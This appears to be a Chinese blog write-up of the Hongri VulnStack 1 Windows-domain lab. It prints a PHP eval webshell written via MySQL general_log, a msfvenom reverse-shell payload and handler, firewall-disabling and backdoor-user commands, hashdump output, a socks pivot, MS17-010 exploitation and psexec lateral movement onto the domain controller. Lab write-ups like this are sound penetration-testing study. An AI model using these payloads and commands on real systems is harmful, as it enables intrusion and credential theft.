前言

之前打了一个linux域的靶机,在巨魔的wp站里看见了红日靶场系列,学习一下win域

红日靶场1-win域

环境搭建

下载完之后,解压,并在vmware中扫描虚拟机

根据这个网络拓扑图,win7机器有两个网卡,是通外网的,win2003和win2008是在内网环境中

先给win7添加一下网卡,这里我习惯使用桥接,所以另一个网卡是桥接模式

然后再为另外两台机器设置only-host模式,并在网络编辑器中将这个模式的网段修改为192.168.53.0/24

最后进入win7机器,进去之后要改默认密码(hongrisec@2019),改成了l1uyun@2024,启动web服务器.

|536

外网渗透

端口扫描

win7机器是桥接在192.168.71.0/24这个子网的

arp-scan扫描局域网内主机

[~/workspace]$ sudo arp-scan -I eth5 -l
Interface: eth5, type: EN10MB, MAC: f6:39:4a:3d:95:18, IPv4: 192.168.71.99
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.71.79   00:0c:29:a7:c1:b2       VMware, Inc.
192.168.71.244  ca:a7:78:4d:50:e1       (Unknown: locally administered)

2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.108 seconds (121.44 hosts/sec). 2 responded

使用nmap来扫描一下这个主机

➜  workspace  sudo nmap -sS -Pn 192.168.71.79  -p- --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 16:26 CST
Nmap scan report for 192.168.247.79
Host is up (0.00054s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
3306/tcp open  mysql
MAC Address: 00:0C:29:A7:C1:B2 (VMware)


➜  workspace  sudo nmap -sT -Pn 192.168.71.79  -p80,3306 -A  --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 16:29 CST
Nmap scan report for 192.168.247.79
Host is up (0.00049s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014 
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
3306/tcp open  mysql   MySQL (unauthorized)
MAC Address: 00:0C:29:A7:C1:B2 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: phone|specialized|general purpose
Running (JUST GUESSING): Microsoft Windows Phone|7|8.1|2008|Vista (96%)
OS CPE: cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows_server_2008::beta3 cpe:/o:microsoft:windows_server_2008 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_8
Aggressive OS guesses: Microsoft Windows Phone 7.5 or 8.0 (96%), Microsoft Windows Embedded Standard 7 (96%), Microsoft Windows 8.1 R1 (94%), Microsoft Windows Server 2008 or 2008 Beta 3 (92%), Microsoft Windows Server 2008 R2 or Windows 8.1 (92%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (92%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (92%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows Server 2008 SP1 (89%), Microsoft Windows 7 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

再对mysql扫一下

➜  workspace  sudo nmap -sS -Pn 192.168.71.79  -p3306 --script="*sql*"  --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 16:31 CST
Nmap scan report for 192.168.247.79
Host is up (0.00034s latency).

PORT     STATE SERVICE
3306/tcp open  mysql
|_mysql-empty-password: Host '192.168.247.149' is not allowed to connect to this MySQL server
| mysql-enum: 
|   Accounts: No valid accounts found
|_  Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0
| mysql-brute: 
|   Accounts: No valid accounts found
|_  Statistics: Performed 50009 guesses in 24 seconds, average tps: 2012.9
MAC Address: 00:0C:29:A7:C1:B2 (VMware)

phpmyadmin弱口令+日志写入Getshell

进去之后是phpstudy页面,数据库这里使用root,root测试成功

尝试在外面连接,连不上去

➜  workspace  mysql -h 192.168.71.79 -u root -p
Enter password:

扫目录发现存在phpmyadmin,phpstudy这玩意集成了phpmyadmin

这里的secure_file_priv=NULL,不允许导入导出,所以不能直接写入shell

再尝试一下通过日志Getshell的方法

SHOW VARIABLES LIKE ‘%general_log%’

启用日志功能,然后修改日志文件路径,这里的绝对路径是在php探针里面泄露的

set global general_log = on;
set global general_log_file='C:/phpStudy/WWW/shell.php';
select "<?php @eval($_POST['123']);?>"

使用蚁剑连接,拿到shell

yxcms后台修改模板Getshell

以学习为主,phpmyadmin拿到shell之后,再看看有没有其他的拿shell的方法吧

查看路径,发现有个yxcms,进去看看

这都不用搜索了,前台模板这个位置大概率能执行php代码

找到这个layout.php,这个文件是每个页面都需要包含的,所以在这里写入webshell

可以连接

这个cms里面也有sql执行,就不看了

内网渗透

信息收集

域渗透信息收集checklist

 ipconfig /all   # 查看本机ip,所在域
 route print     # 打印路由信息
 net view        # 查看局域网内其他主机名
 arp -a          # 查看arp缓存
 net start       # 查看开启了哪些服务
 net share       # 查看开启了哪些共享
 net share ipc$  # 开启ipc共享
 net share c$    # 开启c盘共享
 net use \\192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接
 net use \\192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享
 dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件
 
 net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
 net user                 # 查看本机用户列表
 net user /domain         # 查看域用户
 net localgroup administrators    # 查看本地管理员组(通常会有域用户)
 net view /domain         # 查看有几个域
 net user 用户名 /domain   # 获取指定域用户的信息
 net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
 net group 组名 /domain    # 查看域中某工作组
 net group "domain admins" /domain  # 查看域管理员的名字
 net group "domain computers" /domain  # 查看域中的其他主机名
 net group "doamin controllers" /domain  # 查看域控制器(可能有多台)

权限是administrator

发现有内网网段

查看域用户

查看域管理员信息

整理一下收集到的win域信息

该域名为god.org,域控为OWA,域管理员为Administrator,内网网段为192.168.52.1/24,我们用ping命令探测域控的ip

域控的ip为192.168.52.138

尝试rdp

接下来在win7机器上增加用户,看能不能rdp上去

net user l1uyun aBc12@liuyun
net localgroup administrators l1uyun /add

查看3389端口是否开启,没有启动的话就手动启动一下

关闭防火墙
netsh advfirewall set allprofiles state off
查看是否开启
netstat -ano | find "3389"
没有开启的话手动开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 

成功rdp上去了

msf上线

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.71.101 LPORT=10010 -f exe -o shell.exe

msfconsole -q
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp 
set lhost 192.168.71.101
set lport 10010              
exploit

这里最开始wsl是镜像网络, 后面改成桥接之后才成功反弹回去

getsystem提权

提权,使用meterpreter里面的getsystem一键提权

迁移进程

使用ps查看进程信息,msf的进程pid为5060,apache的为2860,进行进程迁移

迁移,然后清除痕迹

收集凭据

获取hash

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
l1uyun:1009:aad3b435b51404eeaad3b435b51404ee:e632033e620c600f68dc60c32b103d8c:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

这里需要进一步使用Mimikatz来提取凭证、密码和其他敏感信息。

在msf中是使用kiwi来进行平替

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。 所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制

因为还需要system的权限,所以只能迁移到system用户的进程中

获取到明文凭证

搭建socks隧道

第一次使用msf来搭socks,之前都是在用frp

run post/multi/manage/autoroute        #加载MSF的autoroute模块,获取当前机器的所有网段信息

这里为啥要使用autoroute这个模块呢

使用auxiliary/server/socks_proxy模块来实现socks

先background把现在的meterpreter会话挂起,然后加载这个模块

查看jobs可以看到后台运行的socks进程

主机探测

使用arp-scanner模块进行内网的扫描

use post/windows/gather/arp_scanner
set RHOSTS 192.168.52.0/24
sessions  # 查看session列表
set session 1
run

msf6 post(windows/gather/arp_scanner) > run

[*] Running module against STU1
[*] ARP Scanning 192.168.52.0/24
[+]     IP: 192.168.52.1 MAC 00:50:56:c0:00:01 (VMware, Inc.)
[+]     IP: 192.168.52.138 MAC 00:0c:29:3f:5d:a9 (VMware, Inc.)
[+]     IP: 192.168.52.143 MAC 00:0c:29:a7:c1:a8 (VMware, Inc.)
[+]     IP: 192.168.52.141 MAC 00:0c:29:6d:39:34 (VMware, Inc.)
[+]     IP: 192.168.52.255 MAC 00:0c:29:a7:c1:a8 (VMware, Inc.)
[+]     IP: 192.168.52.254 MAC 00:50:56:eb:1e:41 (VMware, Inc.)
[*] Post module execution completed

当前机器的ip是192.168.52.143,域控的是192.168.52.138 所以说目前内网里面有三台机器138,141,143

还可以使用ping来做主机探测

C:\Windows\system32>for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
���� 192.168.52.138 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 192.168.52.141 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 192.168.52.143 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128

端口扫描

扫一下域控的端口

msf6 post(windows/gather/arp_scanner) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check p  
                                           er host
   DELAY        0                yes       The delay between connections, per thread  
                                           , in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by  
                                            which to +/- DELAY) in milliseconds.      
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)      
   RHOSTS                        yes       The target host(s), see https://docs.meta  
                                           sploit.com/docs/using-metasploit/basics/u  
                                           sing-metasploit.html
   THREADS      1                yes       The number of concurrent threads (max one  
                                            per host)
   TIMEOUT      1000             yes       The socket connect timeout in millisecond  
                                           s


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.52.138
RHOSTS => 192.168.52.138
msf6 auxiliary(scanner/portscan/tcp) > run

[+] 192.168.52.138:       - 192.168.52.138:53 - TCP OPEN
[+] 192.168.52.138:       - 192.168.52.138:80 - TCP OPEN
[+] 192.168.52.138:       - 192.168.52.138:88 - TCP OPEN
[+] 192.168.52.138:       - 192.168.52.138:139 - TCP OPEN
[+] 192.168.52.138:       - 192.168.52.138:135 - TCP OPEN
[+] 192.168.52.138:       - 192.168.52.138:389 - TCP OPEN
[+] 192.168.52.138:       - 192.168.52.138:445 - TCP OPEN
[+] 192.168.52.138:       - 192.168.52.138:464 - TCP OPEN
[+] 192.168.52.138:       - 192.168.52.138:593 - TCP OPEN
[+] 192.168.52.138:       - 192.168.52.138:636 - TCP OPEN

445端口是开放的,扫一下永恒之蓝

ms17_010永恒之蓝

这里可以确定域控机器上是有永恒之蓝的

msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.52.138:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.52.138:445    - Scanned 1 of 1 hosts 

但是尝试了msf的exploit/windows/smb/ms17_010_eternalblue和 exploit/windows/smb/ms17_010_psexec都失败了

最后这个执行命令的可以用

那就添加一个用户,然后rdp上去算了 先添加一个用户

查看添加的用户,添加成功

给管理员权限

set COMMAND net localgroup administrators hack /add
set COMMAND net localgroup administrators

3389是关闭的,尝试开启3389

这边是显示已经开启了的,但是还是连不上去

原来是防火墙没关

set COMMAND  'netsh advfirewall set allprofiles state off'

这里为啥凭据会是错误的….我在虚拟机界面是可以使用这个凭据登进去的…

cs上线

看了不少wp都是用cs拿的域控 另一边连接cs_server 启动监听器 生成payload 然后在蚁剑上上传进去,并执行,这边很快的显示弹回来了 之后再beacon进行交互

sleep 0  # 进入交互模式
getsystem # 提权
net view # 查看当前网络中的其他机器

查看完之后再target视图中可以看到其他机器了,如果没有的话就扫描一下 然后右键,选择psexec64 新建一个用于psexec的监听器,然后 运行之后就能拿到shell了,换成cs之后,很容易的就拿到了域控的shell

最后以同样的方法,使用psexec32上线win2003机器

l1uyun

第一次打win域的机器,过段时间再打一下这台机器,这次是在学习打win域的流程了

这机器拖了好久才弄完…

links

记录红日靶场一 | yuki’s Blog

红日-VulnStack靶场-ATT&CK(一)横向渗透两种方法_红日内网渗透靶场-CSDN博客

cobalt strike安装及使用方法 – 学习笔记

实战 | 记一次基础的内网Vulnstack靶机渗透一